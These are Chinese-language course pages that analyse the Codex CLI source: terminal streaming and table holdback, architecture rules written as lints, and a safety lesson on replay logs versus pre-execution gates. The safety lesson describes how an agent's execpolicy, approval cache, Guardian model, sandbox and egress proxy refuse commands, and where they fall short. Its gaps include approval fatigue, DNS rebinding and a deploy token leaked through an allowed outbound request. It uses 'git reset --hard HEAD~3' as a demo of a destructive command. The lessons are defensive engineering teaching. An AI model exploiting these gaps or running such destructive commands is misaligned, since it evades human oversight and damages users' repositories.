    你往上滚想看刚才那句结论,滚轮动了,历史和正在写的尾巴叠在一起。网页换 DOM 时浏览器会保住滚动位置。终端往 stdout 写一个字,光标就往前走一格。想留住旧答案,又想让表跟着新行改列宽,就得先决定哪些格子属于过去,哪些还属于现在。

    思路是什么

    Codex 把渲染结果切成两区。能确定不再变的行进动画队列,等 commit tick 写成 HistoryCell,用转义序列塞进终端自己的 scrollback。还可能变的行只活在活动 cell 里,下一帧可以整段换掉。

    出处:codex-rs/tui/src/streaming/controller.rs 第 1 至 36 行

    控制器同时记两套长度。enqueued_stable_len 是交给队列的行数,emitted_stable_len 是写进 scrollback 的行数。尾巴从 enqueue 边界算起。按 emit 切的话,排队还没写出的行会在活动 cell 里再出现一次。三个指针同向移动,已经 emit 的那一截不许回头改。

    没换行的 token 连尾巴都不更新。用户看见的最小时间单位是一行 markdown source。半行表格如果先画出来,下一秒结构一对,列会立刻消失再长出来。未结束的 source 进缓冲,不能改可见尾巴。

    出处:codex-rs/tui/src/chatwidget/streaming.rs 第 489 至 492 行

    模型 delta 按 token 到达 换行门 半行留在缓冲 两区划分 稳定行 / 可变尾 稳定区 tick 后写进终端 scrollback 活动尾巴 下一帧可以整段替换 已经 emit 的行不会被收回,尾巴从入队边界算起
    教学化结构图:同一条流,先过换行门,再拆成不可改的历史和还可改的尾巴。
    为什么长期成立

    这是格子所有权的合同。已经交给终端 scrollback 的字,进程里没有可写副本。用户用滚轮、搜索、复制,用的是终端自己的能力,TUI 不必再做一份完整历史视口。代价是提交之后不能改。换个语言重写,只要界面是终端字符网格,这道题还在。

    思路二 · 表格没闭合,整段扣在尾巴里
    它解决什么问题

    markdown 表加一行就能改所有列宽。表头如果已经按窄列冻进 scrollback,后面的长单元格没法回去改它。竖线对不齐,残影留在原处。

    普通散文里的竖线也会误伤。一句 status | owner | note 看起来像表头,其实只是一句话。扣得太狠,这段散文会被卡住,直到流结束才放行。

    思路是什么

    扫描器只认 header 加 delimiter。上一行像表头、下一行还没到,先乐观扣住,状态叫 PendingHeader。后面来的如果是普通散文,状态回到 None,那一行再进稳定队列。两行对上了,进入 Confirmed,从 header 起整张表留在尾巴,直到 finalize。表前面的散文可以继续提交。

    出处:codex-rs/tui/src/streaming/table_holdback.rs 第 21 至 32 行

    尾巴预算由扫描状态决定。None 时预算是 0,行直接进稳定队列。PendingHeader 和 Confirmed 则从 header 起点起整段扣住。Raw 模式预算也是 0,表格当纯文本流走,列宽问题交给用户自己的终端选区。

    出处:codex-rs/tui/src/streaming/controller.rs 第 384 至 412 行

    sh 围栏里的竖线当代码,不触发扣留。连续多张表时,第一张没结束,后面的表也不提前定稿,超长多表答案会在活动区堆到流结束。

    None 行直接进稳定队列 像表头 PendingHeader 先扣住,等下一行 分隔行 Confirmed 从表头起整段留在尾巴 来的是散文 回到 None,放行 finalize 后一次定稿 只认 header 加 delimiter,普通竖线散文不会被扣到流结束
    教学化状态图:乐观扣留只多停一会儿,确认之后整张表都等流结束。
    为什么长期成立

    任何按增量画表的界面都有这个问题。列宽是全局量,局部追加会改已经画过的行。把整张未闭合的表留在可变区,是这条约束的最小解。网页里对应的做法是,表格节点在闭合之前不要拆进不可变的 DOM 片段。

    提交即固化。没闭合的表,先扣住。
    思路三 · 队列用两档速度,一帧里的写入要一起走
    它解决什么问题

    稳定行入队之后,立刻全部写进终端也不对。慢流希望一行一行长出来,像打字。快流希望队列赶得上模型。只有一档速度,两端都会难受。

    还有一帧里的两处写入。历史行用转义序列写到 viewport 上方,ratatui 再画输入框和活动尾巴。拆成两次刷新,用户会先看见历史往上跳一截,输入框还停在旧位置。

    思路是什么

    排水分两档。平滑档每个 tick 出一行,追赶档一次抽空当前队列。深度到 8 行,或者最老一行超过 120 毫秒,就能进追赶。退出要深度降到 2、年龄降到 40 毫秒,并且保持 250 毫秒。退出后再挡 250 毫秒,除非堆到 64 行或 300 毫秒。策略不看这段文本是标题还是表格,只看队列深度和年龄。

    出处:codex-rs/tui/src/streaming/chunking.rs 第 82 至 125 行

    定时线程只按帧间隔发 CommitTick,抽多少行是策略的事。这个间隔等于 120 FPS 的下限,平滑档上限就是每秒 120 行。写屏时,scrollback 插入和 viewport 绘制包进同一次 sync_update。双 buffer 只把变过的格子写出去。画回调必须画满整帧,少画一块,终端会留下上一帧的残字。

    出处:codex-rs/tui/src/tui.rs 第 954 至 973 行

    稳定队列 按到达时间排队 Smooth 每个 tick 一行 CatchUp 一次抽空当前队列 一次 sync_update 历史插入和 viewport 绘制一起刷新 进入门槛高于退出门槛,避免在 8 行附近来回打齿
    教学化时序图:抽多少行由队列压力决定,写出去的两处动作必须包在同一帧。
    为什么长期成立

    两档齿轮对付的是同一种队列的两种压力。深度抓一下子来了很多行,年龄抓行不多但等太久。一帧里的多处写入要原子提交,终端用同步输出协议,网页用一次 DOM 替换。先清屏再画,中间帧一定会被人眼看见。

    横向对比 · 历史放在哪,决定哪几层是必需的

    Claude Code:整棵消息树都能改,同步输出先问终端

    Claude Code 的 TUI 是 Ink。每帧先调和 React 树,再对前后屏做 cell diff,最后决定要不要用 DEC 2026 的 BSU/ESU 包一层。探测函数写得很直:支持时能避免重绘闪烁;tmux 会拆包,原子性已经没了,再发这 16 个字节只是给外层终端添负担,所以直接跳过。

    它没有稳定区、可变尾、表格 holdback 这套。已经画出来的节点,下一帧还能改。代价是调和发生在 JS 里。Codex 把已提交行交给终端 scrollback,活动区本来就小,所以每次 draw 都走 sync_update,不再维护一份终端白名单。

    已核对 restored-src/src/ink/terminal.ts 第 66 至 74 行 · 2026-08-22

    Grok Build:历史留在进程里,每个 chunk 作废缓存

    Grok 的 pager 也是 ratatui TUI,历史却不交给终端 scrollback。Agent 块按 EntryId 活在进程里的 ScrollbackState。来一个 chunk,就往同一块追加文本,立刻 invalidate_cache,并标记高度脏。下一次布局按新宽度重算。

    宽度一变,进程里的块能按 source 重画。Codex 已经 emit 的行属于终端,只能等 finalize 之后用完整 source 再生成一份可重绘的 cell。Grok 付的账是内存里挂着全部块,每个 chunk 都作废布局缓存。

    已核对 xai-grok-pager/src/scrollback/state/mod.rs 第 915 至 926 行 · 2026-08-22
    课堂练习
    01

    超长段落一直不换行,屏幕上会停在哪

    模型在一个超长段落中间一直不吐 \n。对照 push_delta 只在看到换行才提交渲染,以及「Unterminated source is buffered by the controller and cannot change the visible tail」这行注释,写出:可见尾巴何时更新,这段文字何时进入 scrollback。

    进阶一问:如果这段文字其实是表格的半截行,扣留打开和关掉时,用户分别会看见什么。

    Takeaway:没换行的 token 不可见。能确定不再变的行进终端 scrollback,提交即固化。还可能变的行,尤其是没闭合的表,只活在活动尾巴里,等流结束再一次定稿。
    OpenAI Codex · 代码模式

    把架构决策写成 lint

    同一份 AGENTS.md 里,有命令的规则会在三台操作系统上亮红。只有路径的那条,重命名之后没人发现。

    课程目标读完能说清三件事。一条调用点规则怎样变成 rustc 插件,并在 Linux、macOS、Windows 上同时拦。散文写成的路径为什么会失效。漏登记的特性为什么能用穷尽表抓住。
    先玩一遍 · 一次提交过架构检查
    同一份规范,五张改动卡片:看它被哪一层拦住,以及那一层想守住什么
    这次改动
    点播放看门禁怎么走。也可以直接点右侧某一层,看它放行还是拦住。
    提交与门禁待命
    create_openai_url(None)调用点写了裸 None。编译能过,读者必须跳到定义才知道它管什么。
    这一步的判定
    手里的改动裸 None
    撞上的门尚未触发
    这条要守住什么先走一遍门禁
    结局待命
    等待开始。
    逻辑轨迹 · 动画每一步对应源码里的哪一段
    1. 调用点是不是匿名字面量lib.rs L261
    2. 注释名字是否等于参数名lib.rs L222
    3. 被调方是不是 workspace cratelib.rs L177
    4. CI 是否三平台同时跑rust-ci.yml L174
    5. Markdown 路径是否存在AGENTS.md L35
    6. Feature 是否登记在穷尽表lib.rs L379
    7. 开发中特性默认必须关闭tests.rs L18
    点播放,看这张改动穿过六层门禁时停在哪。
    谁拦住
    守住什么
    换一张卡片有红灯的,重命名或漏写当天就会红。没红灯的,文字还在,对象已经搬家。
    教学示意:门禁分层为课程化归纳,用于对照「有检查」和「只有散文」。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
    思路一 · 能局部检查的决策,写成机器能跑的红灯
    它解决什么问题

    新人接到任务:改 MCP 工具调用。它打开 AGENTS.md,抄下第 35 行的路径。文件不存在。真实文件叫 connection_manager.rs,就在同一个目录。文档里那个带 mcp_ 前缀的名字,是一次重命名之后没改干净的残留。

    出处:AGENTS.md 第 32 至 36 行;codex-rs/codex-mcp/src/connection_manager.rs 第 1 至 15 行

    同一份文件里,位置参数少了 /*base_url*/,本地命令会红。改了 Cargo.toml 忘刷 Bazel 锁,CI 会红。第 35 行那条路径没有检查器。Markdown 不会自己核对文件在不在。

    思路是什么

    先改 API,让调用点自己能读。foo(false) 的读者必须跳到定义才能知道这个 false 管什么。改不了 API,才允许 /*param_name*/。lint 是退路。

    出处:AGENTS.md 第 14 至 20 行

    实现住在独立的 Dylint 库,当一次 rustc。类型解析完成后,才能拿到被调方的参数名。入口只看函数调用和方法调用,宏展开出来的直接跳过。

    检查按这个顺序走。

    1. 只查本仓库 crate,stdtokio 直接放过。

    2. 注释从参数前的空隙、前 64 字节、参数文本自身三处找。

    3. 名字不对报 mismatch。错注释不会再落到没写注释那条。

    4. 没写时,方法名等于唯一参数名就豁免,例如 .enabled(false)

    5. 剩下的只拦匿名字面量。None、布尔、数字要写,字符串和字符放过。

    出处:tools/argument-comment-lint/src/lib.rs 第 165 至 180 行;tools/argument-comment-lint/src/lib.rs 第 261 至 274 行

    调用点 裸 None workspace? 是才继续查 合法注释? 名字必须对上 deny,三台 CI 再跑一遍 Linux / macOS / Windows 输入是一处调用,输出是合并前的红灯,守住的是调用点自解释
    教学化结构图:能解析到参数名的局部调用,才值得养一台 rustc 插件。

    仓库入口把默认 Allow 的那条抬成 deny。CI 在 Linux、macOS、Windows 各跑一次,一台失败另外两台继续跑完。人在 macOS 上绿了,Windows 目标的宏展开若多出一处 None,第三台仍会拦住。

    出处:.github/workflows/rust-ci.yml 第 164 至 187 行

    为什么长期成立

    调用点局部、名字可解析、误报能用豁免收住。换个语言,形状一样:先改名字,改不了就要求行内名字。TypeScript 用 ESLint,Python 用 ruff,都用得上。

    思路二 · 散文会腐坏,行数能数不等于有人在数
    它解决什么问题

    第 35 行和第 265 行是同一种腐坏。app-server 指南还写着 v2.rs,当前是目录 v2/,下面拆成三十多个文件。文件靠近 800 行就要拆。拆了之后,指南里的单文件路径没人改。

    出处:AGENTS.md 第 260 至 266 行

    模块行数规则点名五个高频文件,四个已经越过 800,一个贴着 900。chat_composer.rs 按行计有 12859 行。仓库里没有数行数的命令。行数能数,CI 不数。一次改动是不是机械,机器做不好,所以 800 行上限停在评审。

    出处:AGENTS.md 第 49 至 61 行;AGENTS.md 第 125 至 131 行

    思路是什么

    把规则分成两套来读。一套有命令或编译器,合并前会亮红。一套只能被人和评审读,漏看就过。路径是否存在本来最容易检查:抽出反引号路径,对仓库根做存在性判断。仓库没做。预算花在调用点可读性上,没有花在路径存在性上。

    规则写进 AGENTS.md 有没有命令或编译器 有,才进机器 lint、测试或 schema job 只有散文 三平台 CI,合并被拦 人或评审,也许抓住 路径改名,文字还在
    教学化分流图:有检查的当天红,只有散文的静默断。
    为什么长期成立

    文档不会自己复查。能局部检查却只写在 Markdown 里,重命名和拆文件的那天,文字还在,对象已经搬家。最小形态是二十行脚本核对路径,不需要 rustc 插件。

    写成 lint 的规则,文件改名当天就会红。
    思路三 · 生命周期写成枚举加穷尽表
    它解决什么问题

    特性开关如果只靠布尔和一篇说明,漏登记、开发中默认打开、Deprecated 一直待着,都不会第一时间亮红。

    思路是什么

    Feature 枚举旁边有一张 FEATURES 表。FeatureSpec 把标识、配置键、阶段、默认是否打开焊在同一行。表里找不到对应项就 unreachable!。枚举多一个变体、表少一行,运行到 key() 会直接崩。

    出处:codex-rs/features/src/lib.rs 第 41 至 58 行;codex-rs/features/src/lib.rs 第 819 至 826 行;codex-rs/features/src/lib.rs 第 379 至 384 行

    旁边两道测试锁住默认值。开发中的特性默认必须关闭。默认打开的特性,阶段只能是 Stable 或 Removed。阶段有五态,多出来的 Experimental 带着菜单名和公告。Deprecated 没有过期日,三个 Deprecated 项仍能打开。阶段能表达不该再用,不能表达下个版本删。

    出处:codex-rs/features/src/tests.rs 第 17 至 28 行;codex-rs/features/src/tests.rs 第 82 至 94 行

    UnderDevelopment 默认必须关 Experimental 菜单加公告 Stable 才允许默认开 Deprecated Removed 输入是枚举加一行表,输出是漏登记就崩;Deprecated 到 Removed 没有计时器
    教学化状态图:穷尽表锁住登记和默认值,锁不住自动删除。
    为什么长期成立

    穷尽表加两条测试,换语言也成立。漏登记就崩,默认值被锁住。换不来自动删除,只换来这两条不变量。

    横向对比 · 同一道题的另一种答法

    DSH:每个包必须露面,空也要解释

    DeepSeek Harness 把「每个包必须拥有 ./invariant」同时写成散文和门禁。散文在 packages/AGENTS.md。门禁是 21 行的 verify-package-invariants,失败就 process.exit(1)。空安装器必须带固定前缀 No runtime invariant:。空是显式架构结论,以后引入可变状态,必须换成真正的检查。

    笔记回答为什么允许空,检查器保证空必须解释。两者缺一,就会回到 Codex 第 35 行那种状态:文字还在,对象已经搬家。DSH 没有 rustc 插件去管 foo(false)。Codex 没有穷尽式包门禁去管路径存在性。

    出处:packages/AGENTS.md 第 18 行;scripts/verify-package-invariants.ts 第 1 至 21 行

    两侧均已核对源码 · 2026-08-22

    Grok:能局部化的决策直接丢进 clippy

    Grok Build 仓库根没有 AGENTS.md。它仍把一条架构决策写成 lint:clippy.toml 禁止 canonicalize,理由是 Windows 上会得到 verbatim 前缀,破坏 git、泄漏进模型上下文。执行边界写在同一份文件:这条禁令由各 crate 的 cargo clippy presubmit 执行,只走 Bazel 的 crate 要靠人看。

    和 Codex 的参数注释是同一类判断:调用点局部、误报面可控。Grok 承认 Bazel 覆盖不全。Codex 承认本地只跑当前操作系统。小团队先抄路径存在性和 21 行 verify 脚本,比抄 Dylint 便宜。

    出处:clippy.toml 第 9 至 28 行

    两侧均已核对源码 · 2026-08-22
    课堂练习
    01

    先做哪一道自动检查

    AGENTS.md 第 35 行和第 265 行都是失效路径。若你只能先做一道自动检查,你检查带 codex-rs/ 前缀的路径,还是检查所有反引号里含 / 的字符串?

    第一种会漏掉 app-server-protocol/src/protocol/v2.rs 这种相对写法。第二种会把命令名、crate 名和网址碎片误伤。写出你的过滤规则,并用这两条失效路径当正例。

    Takeaway:能局部检查的决策,不要只写在 Markdown。条款告诉人审什么,红灯在人没看的时候仍然亮。路径存在性和穷尽表,比养一台 rustc 插件更便宜,也更先该做。
    OpenAI Codex · 两种安全视角

    两种安全视角:同一条命令,两套判词

    出事之前有没有门可以拒绝,出事之后能不能复原模型当时看见的世界。同一条危险命令上,这两套视角会一致,也会给出相反结论。

    课程目标读完能说清两件事。可回放要的是模型当时看见的世界还能从日志里拼回来。可拒绝要的是命令跑起来之前,策略、审批、沙箱、代理里至少有一道门能说不。同一条命令上,它们在哪里一致,在哪里互相让路。
    先玩一遍 · 同一条命令,两套法官
    同一个危险操作,两套安全视角各自怎么判
    事故
    策略写过 Forbidden。看两边会不会给出相反结论。
    git reset --hard HEAD~3
    可回放审理中
    问的是:出事之后,现场还能不能拼回来。
    可拒绝审理中
    问的是:出事之前,有没有一道门能说不。
    两份判词还没对上。
    逻辑轨迹 · 动画每一步对应源码里的哪一段
    1. 同一条 argv 同时交给两套视角L场景
    2. 可拒绝先看 Decision 三态,用最严的那一档decision.rs L9
    3. 审批缓存的 key 带完整 argv,不认前缀unified_exec.rs L92
    4. Guardian 超时或坏输出就关闸guardian/mod.rs L11
    5. 平台沙箱三套后端,Windows 关着就是 Nonemanager.rs L37
    6. 可回放认 JSONL 原文,SQLite 只是镜像README.md L22
    7. fork 必须撞到真实的 TurnStartedthread_rollout_truncation.rs L187
    8. 失败写成观察,success 仍为 truecontext.rs L351
    9. 代理 403 回给命令进程,循环继续responses.rs L80
    10. 对照两份判词:一致还是相反L验收
    点播放,看同一条命令在两套视角下怎么被判。
    两份判词
    缺口在哪
    换一条命令切到另外两起事故,看一致和相反会不会换边。
    教学示意:命令文本为课程化样例,演示不调用真实 shell,也不连真实代理。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
    思路一 · 出事之后,现场还在不在
    它解决什么问题

    周一早上,安全同事把一段聊天记录甩到群里。模型昨晚连了外部 API,请求头带着仓库里的部署令牌。他问:当时模型究竟看见了什么环境变量。你打开会话,标题还在,点进去对不上。SQLite 里有一行元数据,JSONL 缺了半截。

    可回放要回答的就是这件事。出事之后,你能不能精确复现模型当时看见的世界。

    思路是什么

    Codex 把历史写成两份。JSONL 是原文,只追加已经定稿的条目,不从内容里推断元数据。SQLite 是镜像,给列表和检索用。元数据丢了可以再抽。JSONL 丢了,恢复必须读文件。

    出处:codex-rs/thread-store/README.md 第 22 至 28 行

    然后还有一道筛选。持久化策略会丢掉流式增量、审批弹窗、警告和 MCP 启动进度。TurnStarted 留下。你能回放 turn 边界和完成态,回放不了当时屏幕上闪过的审批文案。

    出处:codex-rs/rollout/src/policy.rs 第 86 至 105 行

    fork 认的也是这条物理边界。目标 turn 必须在有效历史里,文件里真有一条 TurnStarted,进行中的 turn 直接拒绝。投影出来的合成 ID 不能当切点。

    出处:codex-rs/core/src/thread_rollout_truncation.rs 第 187 至 191 行

    所以真相也经过筛选。列表能告诉你有过这个线程。只有 JSONL 能告诉你模型当时看见了哪几条消息。

    DSH:先落成事件,再投影给模型 模型可见输入 写入会话日志 deriveMessages 发给模型 Codex:先发给模型,定稿后再落原文 组装上下文 发给模型 JSONL 原文 SQLite 镜像 审批过程可能被策略丢掉
    教学化结构图:两家都有原文和投影,DSH 把落事件放在发给模型之前。
    为什么长期成立

    原文和投影拆开,投影坏了可以重建,原文坏了现场就没了。换一套存储,该问的还是谁是原文。这份合同不随语言变。

    思路二 · 出事之前,任何一道门都可以说不
    它解决什么问题

    周三下午,另一台机器上的 agent 跑完了 git reset --hard。策略文件写过禁止。审批弹窗那天太多,有人点了记住。沙箱开着,那条命令没碰受保护的路径,内核没拦。你事后能把 rollout 完整回放一遍。回放告诉你它做过什么,没有在它做之前把路堵上。

    可拒绝要回答的是:出事之前,有没有一道门可以拒绝。

    思路是什么

    一条命令要从模型提议走到进程启动,Codex 至少经过四道可以拒绝的门。execpolicy 的 Decision 只有 Allow、Prompt、Forbidden,用序取最严。规则文件里的 not_match 加载器真的跑一遍,反例被命中,会话开不起来。

    出处:codex-rs/execpolicy/src/decision.rs 第 9 至 16 行

    出处:codex-rs/execpolicy/src/rule.rs 第 281 至 306 行

    第二道是审批。会话缓存认精确 key,带上规范化后的完整 argv、工作目录、权限。早期常把记住同类理解成前缀缓存。当前源码里,npm run testnpm run lint 是两把 key。这道门挡住同一条精确命令的重复弹窗。

    出处:codex-rs/core/src/tools/runtimes/unified_exec.rs 第 86 至 97 行

    第三道用模型换弹窗。Guardian 超时、坏输出就关闸,只认明确的 allow 或 deny。它挡住审批疲劳。用户本人点批准,这道门会让路。

    出处:codex-rs/core/src/guardian/mod.rs 第 1 至 12 行

    第四道才是操作系统。macOS 拼 SBPL,Linux 默认 bubblewrap 加 seccomp,失败不回退到遗留 Landlock。Windows 走受限令牌,开关关着就返回 None。进程启动之后,出站再过代理。代理拒绝时把头带 x-proxy-error 的 403 回给命令进程,循环继续。

    出处:codex-rs/sandboxing/src/manager.rs 第 36 至 42 行

    出处:codex-rs/network-proxy/src/responses.rs 第 76 至 83 行

    模型提出 argv execpolicy 审批与缓存 沙箱 出站代理 Forbidden deny 或 Abort 启动失败 进程收到 403 任何一道都可以拒绝。代理挡的是出站,不是 argv。 DNS rebinding 这一层自己承认防不住。
    教学化结构图:四道门加一道出站漏斗,每一道只锁住一类风险。

    出处:codex-rs/network-proxy/README.md 第 234 至 238 行

    为什么长期成立

    每一层看的东西不一样。策略看 argv,审批看人,内核看路径和 syscall,代理看域名。一层看不清,就停在这一层。规则只写在人读的文件里、没有加载期例子,就会和源码一起漂。AGENTS.md 第 35 行还指向 mcp_connection_manager.rs,仓库里没有这个文件。

    出处:AGENTS.md 第 35 行

    思路三 · 拒绝过了,观察还要留下
    它解决什么问题

    命令退出码非零,按直觉像错误。若把沙箱拒绝升级成引擎错误,模型看不到退出码,只会换一条更绕的命令。代理 403 若打到引擎,整轮对话停,模型无法改域名再试。

    思路是什么

    工具层只允许两种失败:回喂模型,或打断引擎。沙箱拒绝走的是成功的工具输出。process_id 被清掉,exit_code 留在正文里。记日志时成功位恒为 true。失败写在 Exit code 那一行。

    出处:codex-rs/tools/src/function_call_error.rs 第 1 至 10 行

    出处:codex-rs/core/src/tools/context.rs 第 340 至 353 行

    可回放要的是观察还在。可拒绝已经在启动前或内核里做过了。这里不再用错误把 turn 打断。代理 403 是同一合同的网络版:命令进程读到人话,输出进 JSONL,模型再决定下一步。

    出处:codex-rs/core/src/tools/handlers/unified_exec/exec_command.rs 第 383 至 411 行

    拒绝先把门关上。回放把收据留下。
    为什么长期成立

    把工具错和引擎错分开,是任何 agent 循环都用得上的形状。退出码、超时、策略拒绝,默认走第一档。只有编排自己坏了,才停整轮对话。

    横向对比 · 同一道题的另一种答法

    回放:DSH 把看见的必须能重建写成红线

    DSH 仓库用同一句话写进 AGENTS.mdCLAUDE.md 是指向它的符号链接)和架构文档:凡是进模型请求的输入,都必须能从会话日志重建。只追加的日志是真相,给模型看的是投影。审批策略只有 asknever,没有 Guardian,也没有进程内出站代理。

    Codex 的可回放停在定稿历史。DSH 往前推了一步:新的模型可见输入必须先成为一条会话事件。回放侧的合同更硬,拒绝侧更薄。

    出处:AGENTS.md 第 107 行

    出处:docs/architecture.md 第 92 至 96 行

    出处:packages/interaction/user-approval/src/index.ts 第 84 至 94 行

    两侧均已核对源码 · 2026-08-22 · DSH · Model-visible ⟺ logged

    拒绝:Grok 在启动时装一次隔离

    Grok 用 nono 在进程启动时装一次 Landlock 或 Seatbelt,网络在进程级保持打开,子进程用 seccomp 拦网。web_fetch 空名单全拦,loopback 默认放行。Codex 怕的是工具打到本机管理口。Grok 怕的是模型乱访外网,仍给本机开发留门。

    出处:crates/codegen/xai-grok-sandbox/src/lib.rs 第 8 至 12 行

    出处:crates/codegen/xai-grok-tools/src/implementations/grok_build/web_fetch/ssrf.rs 第 14 至 18 行

    两侧均已核对源码 · 2026-08-22
    课堂练习
    01

    两份判词何时相反

    打开上面的演示,切到带令牌出站。推演可拒绝为什么四道门过完仍然放行,可回放为什么有 JSONL 也拼不回环境变量。

    再切到沙箱拦住危险写,看同一套机制这次为什么给出一致的判词。

    Takeaway:可回放问出事之后能不能复原。可拒绝问出事之前有没有门。先问三个问题再决定抄哪一侧:跑在谁的机器上,处理谁的数据,失败的代价是密钥泄漏、仓库被改,还是评测不可复现。
    1 / 4